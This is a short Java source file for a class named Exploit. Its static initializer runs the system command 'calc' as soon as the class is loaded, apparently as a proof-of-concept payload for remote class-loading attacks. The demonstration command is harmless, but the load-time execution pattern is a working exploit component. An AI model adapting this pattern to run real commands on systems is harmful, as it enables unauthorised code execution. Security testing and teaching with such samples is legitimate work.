import java.io.IOException;

/**
 * <pre>
 * Modify Information:
 * Author       Date          Description
 * ============ ============= ============================
 * liangpanpan   2021/12/12       create this file
 * </pre>
 */
public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
